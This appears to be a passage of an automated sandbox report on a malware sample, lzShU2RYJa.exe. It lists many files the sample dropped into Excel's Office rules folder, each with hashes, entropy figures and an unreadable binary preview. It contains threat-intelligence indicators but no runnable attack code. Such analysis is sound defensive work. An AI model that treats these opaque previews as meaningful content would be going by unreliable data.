Preview:	<?xml`.........lEb.F.m...v....$..f3m..Xl...(.z.5h...]......7;}.b.4.!....X{XG...Uy....1S^.Y....a^p....OC.....VL.....P.2.I uL........U....t..]...'.7..3%8.13.\|.L.s"#.{.-'#O.u..:Z.E..s..x<.G.k.......\..;.....z....^q.....?.-3....7.7]&.@}...f.........V...#..R..W.....c.u..p.w.w!Y.p.e.j.j_uPn.6T......`...=..-...l.Q...... .W..c..y.[Y.'1.....~.w....C.t.....'.$...eC:.9...[...r.R..ZoisP$`.r.....w.....(Wa.p...v..3.h`o...Q.oI..EGKQ....#.Q...Q.....e...]..f.<.)6.\|.......O....<...t'^...0...QioSR{.[.w8......$....}@1...?.1Es.b8)(w.....v.n(.TE..4.%O.b...!\|A..7#.\T.O....&m.+..PX.....9..B.Qb.TC...T.s.k.[....sT5.7.._..&.rM8.1..KD.8zg..t,.p..B._.2#.p\|...Wi.....jX..)a.=.o.2-Q....A........j 5.^..nM.L.q..]..qDV..]..1....f.......7.3........R...ps./.f..H...~. +0}. .f]...v..]O....1....;L.i...&. .e..U;..4...%.).N$b.=F.C.k.~.,....z...Q..*,&g..c..d\|.8\|rB^AhE..=HT}..7.....c_,=GZi...U.'.....\.......o....2..k...M5..4...)......S..!...P......]?...j2"...4...AL..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.684445381204505
Encrypted:	false
SSDEEP:	12:wP/7EqQPncx0HrcS9Dl7J2ulN1Q24qaPRJcLNEC6tNeC4oKzyd7D1UqW0AjVciik:wn7f8n//suz1OsLu5XeCZrUmiVbD
MD5:	3AB88BC5DF9AE82E2A4ED76456F90075
SHA1:	24B9F4495A93F5FE66EA3103DD3799AECC8A3FF4
SHA-256:	06DD55C4DADCA51D344952E96FE251CD60E05073D16F713F106582E1A315EF11
SHA-512:	3A4F4DC3A382FC0BC4F794A9319B86DF792D3606928A8489612324F7A6500002E0BBC7BED9B79CA83DF1E4DE66B6446383FB311810F5DA8417C42221A6AFB20B
Malicious:	false
Preview:	<?xml:..:.o.....)iv....$Ru.8..g...t.oz..}.....x<.5...p.O).b...B.N.!E.....VP....87..m....G..R..w..3..[.0.Q..z.2w`U.{=W.`p/O.......bC.;[...o....Y....?...t.bk.Q`.....d.tl_.....5_:..-ON.....K....-....R..,...;U..^Qb..a.\|.o...E...0$....+wK?..........(.j".$y...D.K.h.";.`S&...a.R..].;U9l..mX.J.u<$&....Ty.....;.z..';>..[S.Q...;.J.3...Q....G.4..\!...V..ze..l......t%..j..k..\|.hW...jk.S..5...[...<..h'..M.L..&..q..E+VWQ.M.C.$..<.....\|~p...J4%..FF..E$...Q.:}"(...\|.[...(=..L..!..s."..h..Se..A&.._./../...R..T.!.,.ho.. k..&f<........G9.Q.f.r.k<..?..:...LK...N?.......l.o...S.1\.,.}G..+q.._..\.8:..N.9...!.[.T.&>I.5..,.t.M#.H&.W..P....?.D...V..^....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.830881287949479
Encrypted:	false
SSDEEP:	24:+4eigHpUMuYHhcdylbMivETeI/WAalZ5G82v0jlwWvoxyd1K/4w68zVbD:+zHBBbMfT90G828DCkI4p8zFD
MD5:	5256EF9A9779749BA31A2B6CC3E91E60
SHA1:	0A53BE8BDC63C5F8AF7CB2DE10F4128B6AA5C43D
SHA-256:	3FE7062311721CB763F900E2736C003E647AAF520DEF07F5C4D69F46F8240DEE
SHA-512:	1BAED73A0A7BEFE93717107E7B3207B7F61DA9A4242DB2F4E438317F4EA865F576FF2EB81C9DDA3CB73B8AAAF5ABFFC62F75C866FC86F7FDE71FE0F9371CA357
Malicious:	false
Preview:	<?xml_.....&./,'.ep.ZS.@.d.b..B....nN..!....=.~^M...y$.E..8(.....@....+D0hO.'f..F.~..m.a..`r."..@z...d. e...3.m3...H..v..0/....Esg.u.4vQ.N>.p.e.4..Y"....0...1-...e.O.bm...c.Y..D.).~.$U..I...jL.%.e\.....:Z...X....qK.$0}..4..Yl#IV.Z@8v..J.......-.r.F.......oP.`PJ `X@xM..&&[!....8..(...r.........6).(=U.!......e..).FL/.Y......zez...Zq.I..[....NY.~5..U....M.w..1.pap.l..G........b<.P.T.w..."..Z...m....Hp\V..O....:...F...d.....".g.O.........,....#m....{.......:.....w.X.5".@....vc........peF.../...zO@,m.k%.......ut. .....u.M.J,w..^..@5...Qf...%.Y......8.z3..bj5?....w% .#w.G.Th.rp....c...2.X.:..<./....LC.m..5.....0...G.W.Y.\|....(.h..1-......B.....#..0.O.#...<...".#..IV....aI...Q.Y..X.c.m.{R.vU......j.....1n..}%b.T....HV'.....=....$.._.X.IL...3%.X.N..x...y......Ad+.\......S.(^..D<#...(.....p.4.-9rdO.n.eC.U.=........0p.A..!.W..ly.3.x.^s~6.._..j..W....*...A)h...f-9..M..mF.Gu.`+.Ag(f..F\|..2l.;.q.M.+Q. .x.2..(...n.X~.2.P.U......k)....$.0[.-..l..E.D;..d..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.570613672400538
Encrypted:	false
SSDEEP:	12:gyNw4OPEafCtguDT6Rf5Ve6DU1YMujVcii9a:gyNpyEtvTWa80jMVbD
MD5:	E5A2017F7298EA3D529871820A00F0E8
SHA1:	8091173817549BBE556328BD210F2D134ED7CE0F
SHA-256:	B14DF6BEB55E086DD067D9CE7F1D8673326D9E23A1244473A236A22F8D812DAC
SHA-512:	2CA315F20D5C8CCE6EE5E9B80AE4C3A8D7F914BD9760B55E3CEB8BDA8067E1D1617E8CAB5CAEC0933AA93178B0BCB645E0EA8F6414C3C87CEA23CDBCF8616140
Malicious:	false
Preview:	<?xml.U)V.....x....>..>6........}.....X..5u.B.Sr..[`f."....,..]..._b~.x..b.:.Icr.V.Z....W...s..x.U......S..V.U..0}..&...e]H.?K..Z.K[........e....N.n.H8...1D..%....A. .^.(2;.Q.-....V....v.pY.&-&..t..=.h.u..07N............eeQ.C~.n.........^..5.i...}3D..M'.{.c"......._.9.?...Z;N...4-.....:..>...Y$M.....C..'...W...@..Xdy.u....6..X......m.uB..FW.S.:.".G.gnB.G.....C....A>.....EA ./.+m..v.a,@+.. N..\|.%..5..c........$e..c.....9....q...Nk!$itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.933515635449678
Encrypted:	false
SSDEEP:	48:v9HID1zFeFvbdxL0JtG2jABNoagvdcwj07F7I0D2oBzWkUiFD:pxLE/Mfiewj0h7AoBzWkUi9
MD5:	E23A76E33E9BD3E80326B2EDEF22015E
SHA1:	7818F17581D7120E8F6BF01D6B0EDA0BFA6731CB
SHA-256:	B21ADAF269DE3C7D2B4EFADA81EC6A6085710AAC4BD2CEB4F43CAAAA8DBB613B
SHA-512:	CF3CF2B334A0519A8B11BAE0FA49863FAAAD4E5922BA402DE9F5025E07FBF2B9E19290651BAE31009D7ADD013298D914D92BE512A193A7FAB9AD814DC5B34460
Malicious:	false
Preview:	<?xmlQ.FB...2..I...$W.<z..l...b[...e..0.'..3S.;m..c....H.E.. .x...K..n~U...%[_;v.\.S.n.mj.@6j.H..U..w.b.).M<.98K......}.-.f.w....#O'....>.0.....rB.P[....(.....X&.;.{......dk#8zWp8Nm.....K.i<.")8&.p.#.N.(jm.5..9.d..p..r......\| ...".$"\..E...n(...D.0....{..%5C,.c.R.E^.[i.....\.&%Ib....y.n...T.cD....4%.cv....T....m$...).Te.......^.@}.....r...~.......Y.5...8.\.[6.5....M..s...u$....P..BSh./..%....v.D.-...B.\|..j.K.......e-a.lX..).\.W...."^..x,..q.P..D.0XKu.T.T\\|.....)8.l..J......y........K!c...5W.i.t,.v...r{..h%..s'..h3..dk.M.@+.2n..b.v.J...%.z.q_..............43e...t...."....s.Dg..*...z.81.+.9...(.P.Q+..a...q.V`..O\|4Pt...b...l$....S..(T..F.5Q.]..C-............:g..[..i.cA..{+.......^4K.-..p..3P.....6Hc.,7.h...I'...X.\<T...H..zc..^A..v].Gr.n3..1.....\|..q..)6.......`...O.>....k.s.Sl...X....?I.)@.DI0.._...h...;.V`v+.......k}.LK..h......5...K..gD.s.o.A...4..l.l.....^f... -..!..cD..>w..AB....g.Z...2..&..gE.#17u.k..+.....WlM..& ..... 0,.D_..D.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.71212285835652
Encrypted:	false
SSDEEP:	12:svE2ifNXuaQdAOietomprqnFG99bVMZ4wGExay3cVXNFOyVjAqAY0AIXpqgQBR52:12CNdIrie0aC2k2NFJ2QIUdBRRJRRbYl
MD5:	864AB30F28A9F4EBA75DA480254ABA72
SHA1:	25614A617E9478699DDC7754A17234CD4AAFCA43
SHA-256:	5B436D6D3CCF8A3D689B87C9555FEFB1F688147CA20B1D7369886E8E7E97822B
SHA-512:	D1A40DB3228C53C0461E12705A7BD417C169A07B1EAC70563ECF44A89DEE5DDAB4BF0D990454D9334F6435790002166D502172A5F94B88F00465C23B07F64563
Malicious:	false
Preview:	<?xmlR.n....l......:.{....P.4..f...:M...:..$@.\|....3qd....$.........}:..Gv..q........Z.0.%........=._.U....8.).\.$.... .yi..' '....F.!..I......]1.%.e\|8.c2L.j..k....AG,.q...xG k>.Vl..m..3.l0I.;.b.D.w{.P.j.....Is.87....Dz....7WzY...Oa`...l[.i.<..!"...l.}.g4.k.P^.l.5...eo........r.@.x.O.d.A.@2....hY............Y._.H>#)...AC5W..............j..+..R..%.?[..B.vw....P(.A6K..9<... .^....vYw.o.Ft.pW..r.x..,.Q....F...j.. .c...._.........3...N{.==8..`....E....v..j._.F.,e.#....r]....a.U...b..{42.t.R. ..~....\...C.FJ.^..Dn.s..;...qYl...{v...s.x..m.5......XHa.t..O..../ne....SpoZw...G.......-cn8..=:.p.......Q....D......BW..D......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.7744125760021765
Encrypted:	false
SSDEEP:	12:m2Ga2AX10LhX5uFqgjcW0wjh33mDKISpWiwPfabVV/G2To4OVtuLqX1DmoeujVcq:n0Y/p0w9GKRWiAabVDOHuLQ1i7MVbD
MD5:	BB4DEF64A59B020981C0AFD5FFC218B2
SHA1:	DE2C1FED855DAD19634DE899B6F11BC05F82FC87
SHA-256:	5CF08AD00EC2D2BF52D0AEF32F1536E388A82F066E863429918FE451F5A949EF
SHA-512:	F9CFE2E3821F68B110C67FE265177C4921BB4EAD2A5036EB36F552FEBA905B7633FE2978D106C84D927D274BAF77AF68E82E2403189D0F2D04EBE772C4A5D36B
Malicious:	false
Preview:	<?xml:_....E~:...+.C...]...\|~..0..Z.=T.r....%Bn ...%c.D... b.K9-7.q.h.s..L..w..pj...R).J.....yC\|..Q2.....A..@h..m]7.o..S.`.c~.^\|.>_...&..5....#.,.C.._.j.!H1.8...W/.._..-.L..n...b...cLK.g.A. .r.......4.R.....R...S...Y. ..&.tl.......@. X....1.....>..$....<e.....]...._Q.Cu.8..6...A}v..^.Z....k....~.{..$...^....H.0....JQ..l.,v..g.\.../.$.q.aX.Z.).`...s..oYA... .X,..`.....g#/W{..6.......W...A... ..'....yP0.....-C......k.g..W3kS..\......fMc....1...yk...f1.q....s..'h..ew.X.oK...&n\|!Y..%d......1.aI....(.xd...N;..e..R..\|Z.Y\...L..fAP...-.D....#".Fx.L.....k.5.+.G..Y.z.]So..............C.....^..h...c.#8...sD.O.KH+......<w...Z.b.H..Q...l....[S.N.!jVE./`{\|.W..ur...D...'zT._QY....`..'....^Nn.i.......itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.6757693315641395
Encrypted:	false
SSDEEP:	12:vkjk2ynK88yPqJJCV33P6BNa9HoJUZ3hRQD9n8/EbR5IX5Djw8/N8NntCXjVciik:vkjk2yKJPYxf6BE9HkU5hh5X5DvV8dto
MD5:	A30CFDB657CA632892DB44E403B3F9C9
SHA1:	2FF213ED51A80AC8211578C46AD21546D535825D
SHA-256:	1C00318355B9233E35390FF1A9ED3BFD5B33B127CE500CBA8990BEC1611F81F7
SHA-512:	ED8AA62B9522BD09BD10A8D579DEE32831F823E04300E55CE61059B08D32FAC75E5D2DA4EF180F560F96682D937F46DC116F11A1EA76C5B365BE82180BF4521B
Malicious:	false
Preview:	<?xml.......?..a.P.c?..X..d.RrCq.I..Td.H=Itt....[.".D..,xi.@.nw.E..`oK....\,^...9s.............N....n3h.A!...!m..m....#.u....,.%.P.~z.....Zf...F+.tE.2y.F.w.8/G8.2..t.(..f......=...].1.~#1>.g(V(K..P..Y.U./.y..cp2..,t....C....zU.W...2,F.....U.....S...Dj..#.=94..7..6.$G.....%..~..z$..sx3.f.8..?.5o...0.W.....Q...N..%......j.W..2`j11....^......Q...j..U..Z..}....'.f.x.~o[../..)..!.ezt..o..{.BxTM.M......\|.L.A..2.H?...w1..N..........=V.J.C.#Q.jH.I...Ve..I$a......VcT..Q.N.6........}0.m..=.K...>...]wq..u....M .Q4{.9Y.o.T}..^.B..}.T.....y...>.R>._.#M..x.....nh5.$oG.....&.D.*D.vM.{7~........Kz..R....-.../T.,.G.&.....u@J/..p..6.......gK.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.75480743531059
Encrypted:	false
SSDEEP:	24:Ck2ck7FJ6uq78YawUukNWFAY8KagU2Pp6jRAVbD:47FJ6B8YYuxFZagU2OAFD
MD5:	0912AD25E7C4DF59FACC1AF465F4AD87
SHA1:	DDC22E3AEE71B29BCCCAE47391649CFAC8F22486
SHA-256:	3BCCEFFDC5A6EA6D9E3A5F417EFC93F0E88A5B0004076D35E772AD7CA35003BF
SHA-512:	7B06F759121C224537A27DE17AFB5E39DA8DED33B18D6F19A86B13B7A8FDC0E5BDAB12821C1F6A66AF092918C604513E97415B3EA51D60B1D36ECCC1D9C326B4
Malicious:	false
Preview:	<?xml..}.3'.L.5s....Ea:E.....L.3...?......3^kd.W.>..i/S9..;..u.Lb.].\..{O3.P.q..Ec.Ehc..>/...J.xp..u}.r.d.^.acr....T.'.Uy.ZA.._..j...P....,]N.{...0..>$>......9.....k.>.h.....#.`..?.#..d)./..SD.bHZT..&Z..dE.j....\|.1S ..<?..i.9..'X=.V...... .kG.7....'1!,..~.PD.T.e...*.n..z...L..b...Iy..HU..".._...........[RC...V.rV...AHg2..jF.W`...C..#0.B:..Ux0....W..)]....)7..F..T"....q<X4..@..._.....$..o........Gk."Y.~......j...Q.4`J..oE.o.)...4.....a...YC.B...U.g...x.-...T..a....+.A(.7......8..\|........9...^.=+<..r..R..9..i.......9s..4%.r...'`w..<..^.E.}...,.`.:.U...I.g.6."H.g_o..^.....s.....jA.b_.^l........%....}4.$T.Y....H..>o.9.p..]p'T...<yV.J..q....5d..Nz...#.U..........u..........}itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.792502752098114
Encrypted:	false
SSDEEP:	12:0PYMdmwSZIqly/s10XAgqGQbfMNmfKSu1x4smhp6a8j1ECRVE73xjVcii9a:ogGsrKmSSc2lEJ1rjE73ZVbD
MD5:	315DD948FAA756137DC5150C2E6F8BF5
SHA1:	A04BA2387BEEF25DEAF558A48F3F376B43C5E4C2
SHA-256:	CD13F305A11C5D841F86C32A046CEF025CD88635CBC784BCDDB2E14DF9FE34EB
SHA-512:	BDB5C4F29654B6663F93400D7792370EB533EEACB447F8E00212B957359CA84EACE6001762732D76F45B38B97C79B88ACC39D87041A1ABD4F2848F4D9E3878F6
Malicious:	false
Preview:	<?xml....'..O.x.ld.\l.;."..i]R....Rw...q..:.i..M3...r6.g.:...Y.l$........?Hk.{.m.I..t...N5.,>.Jy.....RJ.!........I=.8.i.K..... ..\~....z..ibRM.......S%p.Z............-kG.4..i....sm.K...#.W..z...N...q.......n.z.O..B....1X8..z.h....SQ.k....v.=.....91...O.....9H.[..t......$.a...2..L~.<..[].T.M%........D.e.+q#3.6...>. i..g.N........y7_^9.....=.Tzx#..=r?..w......}...P..<...!}......n..};.4.}...5R\|.Z..,D...n4.~5..4.....I.u...c....{..+......U{...,..<9a..v\'...Z.3.G.....K.P.....L?...PDG.i.+.z.W.k.....V.....\|.[.+<....W......tlg'.g....H......}..?.;.....5.-......#(.gn...e.....Sh../&O.....E3zw......LQ._.a..$%.Z/D~..K.....'VX..5......c.Y.4...^Z.y.p..3N..^...{...e.....m.<.aU....e..y.j..Y.........j......V.M.....7.ag4m.5W\|.g .!Z..k....[....8.a..A".F7.C.......f...?....8aw.S.e.......).x.o%8.B.....De.<5.=B.'1O`V..\|zQQ,.....=!.-.+.....Z...0.;']L..Z.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	800
Entropy (8bit):	7.733886467273058
Encrypted:	false
SSDEEP:	24:qRF9RxYlK81oZf5fi3+WVzfgPsnFFW1nIlc6fuKVbD:uF9RxYlhydLWVzYmfUL6WKFD
MD5:	04EBC75C4688B411B8F62386F2BAC2B1
SHA1:	9DFCAC3F7E9157B6C1D9F5F53F925EF303101236
SHA-256:	4F5EE5D919EDBA4A1DBCDB8655B758E0F153483A9547BAFE00B67E6E7EF8ED3E
SHA-512:	AE6A159DB0DABE7620EF9309657A49C252FA7D6BEDF8595D663808ACEBC937A1EF83A09AF3A1190D7593E50B2F6AC21E7DABD8462578ABB63E16433102FDD04B
Malicious:	false
Preview:	<?xml..d[k.J.'.1.^.9;.R.0....Y.wE'*.......bW.."$..]!+...0.2.0...^?[....PJ....m............UJ.y.....":..R.....\|w).K....d...Z...} ..f8./!...N.....ar.].u....:.F,0....(.e4Z..q8c.8S....'..v......X.iY/.h..\.&...u_`G.c8.S[.W.r.z._..HHYX.N..\i.H.S.a...ruz...r`R3?72\|....<.&...y..0..e...n^l.....Y.c....,..n....~.F\|.Y..P4.tHSS'2R.Y.'k7j.`.S......w;\5....<T.....}.%. fq....T..............=...b.qci....>..B...#6.3.B..A..K....h.fo. 0..\|q...6^...z...s.HR.,.\ah.."U..PKvh\|..$....\.\|B.\.[...com.........2L...fC1]..rwr...U.u$A`&.]+...M......"w.SR....fC.7.........`...'.y.abL.".........y..m....U..Y..O&..3...C..-...d5RUf.0A..?.$.#...N")..;....&..2..:..;r=.-..v^l.......e...8Y.7W..e..P{...:.V.t...V..HRD.Kitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.724652209519914
Encrypted:	false
SSDEEP:	12:v4eJCdwUSYBGhLHjzfC4yusYwiwnYNcY75sjnTdIbjVcii9a:FJCdwUSYwDTyjhiSu2DTSPVbD
MD5:	95645911F5F8A55CCEE62C0F15DF8AA8
SHA1:	2FE7DCBFB9E21F45C32AC45A90FC841F5EC8A94A
SHA-256:	9BA413FE9DE287B4C7922BB0ED2DE8E0F851D71BFCC226C7E61D6C6ADB93A54C
SHA-512:	46C5CEF130DC078C15B507BA4647D9F8CB2B31DAECC7D8EF0A59582828FC3641509A91BC990A903B3EEF2EB0DF4DFC238F5AA8E985E90D2C951C5B8CB74BFAC0
Malicious:	false
Preview:	<?xml'.C..(..;u.........T...UC.1,f7.C..h.,.]I$_.g..........]T.o.y/p..k.C.9+f<t.....l....^>....o........lX..V..Tw..h1...+.....4m..w..E+.A..[........`.z.C\..J.@.Hl..T.2.....q..tz..#.v...A..HJV~...g..G.D...."(.C...EWO...?c#.....GMh......$......Y...F.](.SW..r..P...V..c..9.....?.grtJ......o......k..\|......k...$..'/In..T..U.`(..7.......:......py.. L...N.".L.K.\.5t.T ....V......wiw..h......".G.....\|Ni....]..-:..=.<.ty.?.....H.....9H.........S...&..\.v...Q......>........*...\|..+ ...ZZV2..V.i?..X./...Z/....Hs....3...,,.....D..V.R.U....K.6F.X.......@7.........z........69......."......!!KGJ+V...D.OK....Vt.5..l..L^s....F..' .v..a...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.741862948682724
Encrypted:	false
SSDEEP:	12:KVOZOfmY8kI7THGH73Htyl+h7mzZhT3LwL0TWI0nANVTUhLGC1JgEWEXi7RjVciD:QmWEBT673tyeyzTTdWI0nAXwRiFVbD
MD5:	9D809BAEAA93090101DB884B86878E8C
SHA1:	1506CED32542328EED6B22F138DE9CC6C8A76F04
SHA-256:	897054A416E9D5F7116770AADA244678E38A13668C167CC145A6EBE5D4A2B037
SHA-512:	18422739FC2F6FEF71B84C5BBFC7BF599E54366FB13F2E7A04B45E8A133A8DC53B7288DA6AB7001F147D2C4C1FAE2ED52464CA086E1B42B52B01D202E6633387
Malicious:	false
Preview:	<?xml...5..6Bo...k..:.Q.E.5...{....bu...=J._-...>.......u..,....b..:L.....d!>..]...5...#w.z...6..._i.........-..../..../.6X...........Y...^...lA.a..^..i....v...y......x.UKA(.$..............E.".B`...UX}1....<,.$D.h.j.F...?..E~.\.,.\|E...7....?...I..E..8...)....oe...Fz..=S%...K1.Y0>......w....I.....`.6.q.O...&..(Z!8$.fw.i4;.._.V...Y......D....;7'.hx.S&..<;.iF..>>?....{....t.e...#.).."-.k4j..T.F...J[]8....l.p..-C.>....kH.[$.z..J...g.........[u....'.+T8..?M.Y..V....:{..^..o.?x..L/....7'...3.V.....,U...O...8......D..O.+...t.......p... ...5l.....b..(2.!...X.t..'..sXn.....!.]..e....V.o..0..j.~.....dD.^t..L#..p..2..q%..kq.....n..K.Z...;..*..q..1u.U...Z..E.Q.v..pi~...H.Xa...s................U.lYitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.716626020386446
Encrypted:	false
SSDEEP:	12:Kcn0+ItXFwyjBh2xDohSczhFAtBqtq9yoMzCTtzrA1FZpZeAlsF5rLzb03qpDAj9:10VwMDH1Suqrd9kZpZ/lWrLzb0EDiVbD
MD5:	A4A3A041033A6158F4AE452082C58250
SHA1:	91CFFA306D91C5344672AF122077E63B4F060F4C
SHA-256:	0CE97DDAD24A39A5C40B03EC4DD412955F1524C236AA0FE8074BF2111DF831F7
SHA-512:	E51158A94621C6002B6E01126353BC8F599486F0AD7018CA77F391F8D62B18A685F858F921DDDDF1B3CAC182170DFBC5E32E42BE1F283ADBA4F5958916A79C5C
Malicious:	false
Preview:	<?xmln......_h...>....G.....]....h..i.....Xd...d...lc.A......./j.........R....4$..pI.....l..d.Rc...U.M...N..'.v93.,...z.^...+....0PyU......q.(Qm...Tc.z......A.....W.kZ.t....# ...g.....4N.JL..61`Q9.T.U......n.\.:Y.'......%...T..GB..........2q..r.....Rp.d...\.,.R...$..l../....6^...../.c..~.........H.....kR..t..,..w..b`. .P.s....8.'.a.%.......~b..C.g.-.0H/.c.r.Z...JR".}awSP.v..]#$.z T.5...d.V.../...6...ji.........~\...d.,0..J........C.'..g.PT....y1.q....d.........j^@......J.Y.;L....K.w}K+..`Z..H.-_D....................Ml.J....s#X...Sj.(%.M.^..Ke..\|..U.....p?x....+s...~..k..3G6..}..5.R...9.j...@...v./?.Z.#Z......pvN..FqTXl..P.W:itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.772645144731054
Encrypted:	false
SSDEEP:	12:vGJeFKrq2nqpCvY2/Zlq5PMXtZq25iO1Uu3INkpEdL7769GGen5cnAXjVcii9a:vOeKhecY2/Zc6Xt8GiO1QNlh3Gj4hVbD
MD5:	38F251341A74B2C3A82B7BAE081A0CA2
SHA1:	828E99DA41F685B35D30E9A2779EACB02EECB40D
SHA-256:	D1F348AFBECF4CB2A82467A73DCFA6D29D96FD4308719FFE03733A12B744E954
SHA-512:	4162BB092D254246DBBB74E1E0DACEE3505419019CB239FDF3844D3D70A9D903331DD8999FAD30F20B5A43064FF6126748D4F36E92D3131100895660390CFEE4
Malicious:	false
Preview:	<?xml...r....T3].%n..)...M.kV.u.W....+.\.......H>T....D5..........&z4.&..].-v.....qIn.c.r....../.j.p..8...J...e)[.).l4....hz..6.:....\..Y(T7.~.0.m..U......1.{.6`,..eBJwt6.U.^W..w.J.\|..M.="3.}.$..X..K....{...g+..o.....5#.........-.%2...>.}.....J...r.<..x.`...i.H..:X......:. .RkC..X}.@...l2.0!.]y.'.1U6.:.x.0.N..wF........jZ..m;....c..I....Fu.\...{.R..-......Z....'z.r.p.}`.<.....g5...+;..'......u....F.A...5.<.....f.E..j..m$$Wc..(.3.a......s]...Vo......-f.....}.....A.$.d...&...4.pu.j.J(}...XL..6vt.G...b.4..e..`......KP.O.f.....'............E?.{.}.\|..8..5.t.t.F..{/w..D..>..l..9...TO.....S...H!JPd..V0.^.uRB..i.."..9....;%...C..>.. .....x.B1q..=.)..6..4p.BWXY.."...m]}.):p..m.$...@-,81...N;v.Bitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.7215187778865015
Encrypted:	false
SSDEEP:	12:54NzOCPFSFC9+rsMhiRigetryytlnJ7mIcREgiG2W1p70+1Jm0UYEnvMFydMAjVX:mNTSO+4MhiHewytL7D4E+V1+8rU8Fydj
MD5:	65B164DBBFB9101B5DA4AC9ED2926ECF
SHA1:	53092C1AD30474DD99AB13DA8D67C3C180761D1C
SHA-256:	F634C0635ECDB7403681AC339E7FE70678B53BA2D086F08E79D592D03008BC9A
SHA-512:	2C7F96419B582571545C6E869136CF6303A3D33C86CC0B7FA2D93D7BAC392C868ADA6511FA5CD1A3072BED54C3941E2E28C181125452D8C16B81EC121B489AB7
Malicious:	false
